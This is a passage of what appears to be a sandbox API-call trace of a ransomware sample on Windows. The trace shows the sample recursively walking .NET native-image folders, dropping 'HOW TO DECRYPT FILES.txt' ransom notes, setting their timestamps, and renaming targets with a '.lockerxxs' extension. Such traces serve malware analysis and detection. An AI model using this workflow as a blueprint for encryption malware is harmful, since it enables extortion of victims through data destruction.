lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="21464de9aa1dce17c1f42044129a986e", cAlternateFileName="21464D~1")) returned 0 [0107.462] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.462] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x3, ftCreationTime.dwLowDateTime=0x732eccc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x732eccc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x732eccc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x760045, dwReserved1=0x6e0065, cFileName="index1c8.dat", cAlternateFileName="")) returned 1 [0107.462] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0107.462] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index1c8.dat") returned -1 [0107.462] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index1c8.dat") returned -1 [0107.462] lstrcmpiA (lpString1="", lpString2="index1c8.dat") returned -1 [0107.462] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.462] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\" [0107.462] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\") returned="" [0107.462] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt" [0107.462] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\how to decrypt files.txt")) returned 0xffffffff [0107.463] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0107.466] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.466] CloseHandle (hObject=0x88) returned 1 [0107.466] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="index1c8.dat" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat" [0107.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat", pszSpec="*.ems") returned 0 [0107.466] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat" [0107.466] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat" [0107.467] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat", lpString2="." | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat.") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat." [0107.467] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat.lockerxxs") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat.lockerxxs" [0107.467] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\index1c8.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.470] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x3, ftCreationTime.dwLowDateTime=0x73e153e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="index1c9.dat", cAlternateFileName="")) returned 1 [0107.470] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0107.470] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index1c9.dat") returned -1 [0107.470] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index1c9.dat") returned -1 [0107.470] lstrcmpiA (lpString1="", lpString2="index1c9.dat") returned -1 [0107.470] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c8.dat") returned="index1c8.dat" [0107.470] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\" [0107.470] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\") returned="" [0107.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt" [0107.471] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\how to decrypt files.txt")) returned 0x20 [0107.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="index1c9.dat" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat" [0107.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat", pszSpec="*.ems") returned 0 [0107.471] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat" [0107.471] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat" [0107.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat", lpString2="." | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat.") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat." [0107.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat.lockerxxs") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat.lockerxxs" [0107.471] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\index1c9.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.473] lstrcmpA (lpString1=".", lpString2="ipdmctrl") returned -1 [0107.474] lstrcmpA (lpString1="..", lpString2="ipdmctrl") returned -1 [0107.474] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\index1c9.dat") returned="index1c9.dat" [0107.474] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ipdmctrl" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl" [0107.474] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5f0c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5f0c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f0c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501576, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.474] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.475] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.475] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.475] lstrcmpA (lpString1=".", lpString2="c114fd0136f1371dca5def538991bc79") returned -1 [0107.475] lstrcmpA (lpString1="..", lpString2="c114fd0136f1371dca5def538991bc79") returned -1 [0107.475] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\*.*") returned="*.*" [0107.475] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\", lpString2="c114fd0136f1371dca5def538991bc79" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79" [0107.475] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5f0c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5f0c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f0c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.476] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.476] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.476] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.476] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.476] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ipdmctrl.ni.dll") returned -1 [0107.476] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ipdmctrl.ni.dll") returned -1 [0107.476] lstrcmpiA (lpString1="", lpString2="ipdmctrl.ni.dll") returned -1 [0107.476] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\*.*") returned="*.*" [0107.476] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\" [0107.476] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\") returned="" [0107.476] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\HOW TO DECRYPT FILES.txt" [0107.476] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\how to decrypt files.txt")) returned 0xffffffff [0107.477] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.480] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.480] CloseHandle (hObject=0x90) returned 1 [0107.480] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\", lpString2="ipdmctrl.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\ipdmctrl.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\ipdmctrl.ni.dll" [0107.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\ipdmctrl.ni.dll", pszSpec="*.ems") returned 0 [0107.481] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.481] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.483] lstrcmpA (lpString1=".", lpString2="LoadMxf") returned -1 [0107.483] lstrcmpA (lpString1="..", lpString2="LoadMxf") returned -1 [0107.483] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.483] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="LoadMxf" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf" [0107.483] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61ad7a80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61ad7a80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61ad7a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.486] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.486] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.486] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.486] lstrcmpA (lpString1=".", lpString2="d09b54cd68bc772b3be3832926e940d4") returned -1 [0107.486] lstrcmpA (lpString1="..", lpString2="d09b54cd68bc772b3be3832926e940d4") returned -1 [0107.486] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\*.*") returned="*.*" [0107.486] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\", lpString2="d09b54cd68bc772b3be3832926e940d4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4" [0107.487] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61ad7a80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61ad7a80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61ad7a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.487] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.487] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.487] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.487] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.487] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LoadMxf.ni.exe") returned -1 [0107.487] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LoadMxf.ni.exe") returned -1 [0107.487] lstrcmpiA (lpString1="", lpString2="LoadMxf.ni.exe") returned -1 [0107.487] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\*.*") returned="*.*" [0107.487] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\" [0107.488] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\") returned="" [0107.488] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\HOW TO DECRYPT FILES.txt" [0107.488] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\loadmxf\\d09b54cd68bc772b3be3832926e940d4\\how to decrypt files.txt")) returned 0xffffffff [0107.488] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\loadmxf\\d09b54cd68bc772b3be3832926e940d4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.490] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.491] CloseHandle (hObject=0x90) returned 1 [0107.491] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\", lpString2="LoadMxf.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\LoadMxf.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\LoadMxf.ni.exe" [0107.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\LoadMxf.ni.exe", pszSpec="*.ems") returned 0 [0107.491] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.491] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.491] lstrcmpA (lpString1=".", lpString2="mcepg") returned -1 [0107.491] lstrcmpA (lpString1="..", lpString2="mcepg") returned -1 [0107.492] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.492] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mcepg" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg" [0107.492] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f580160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f580160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f580160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.495] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.495] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.495] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.495] lstrcmpA (lpString1=".", lpString2="13b4ad00d1167ff3ed7d2a8e4994f1ff") returned -1 [0107.495] lstrcmpA (lpString1="..", lpString2="13b4ad00d1167ff3ed7d2a8e4994f1ff") returned -1 [0107.495] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\*.*") returned="*.*" [0107.495] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\", lpString2="13b4ad00d1167ff3ed7d2a8e4994f1ff" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff" [0107.495] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f580160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f580160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f580160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.496] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.496] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.496] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.496] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mcepg.ni.dll") returned -1 [0107.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mcepg.ni.dll") returned -1 [0107.496] lstrcmpiA (lpString1="", lpString2="mcepg.ni.dll") returned -1 [0107.496] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\*.*") returned="*.*" [0107.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\" [0107.496] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\") returned="" [0107.496] lstrcatA (in: 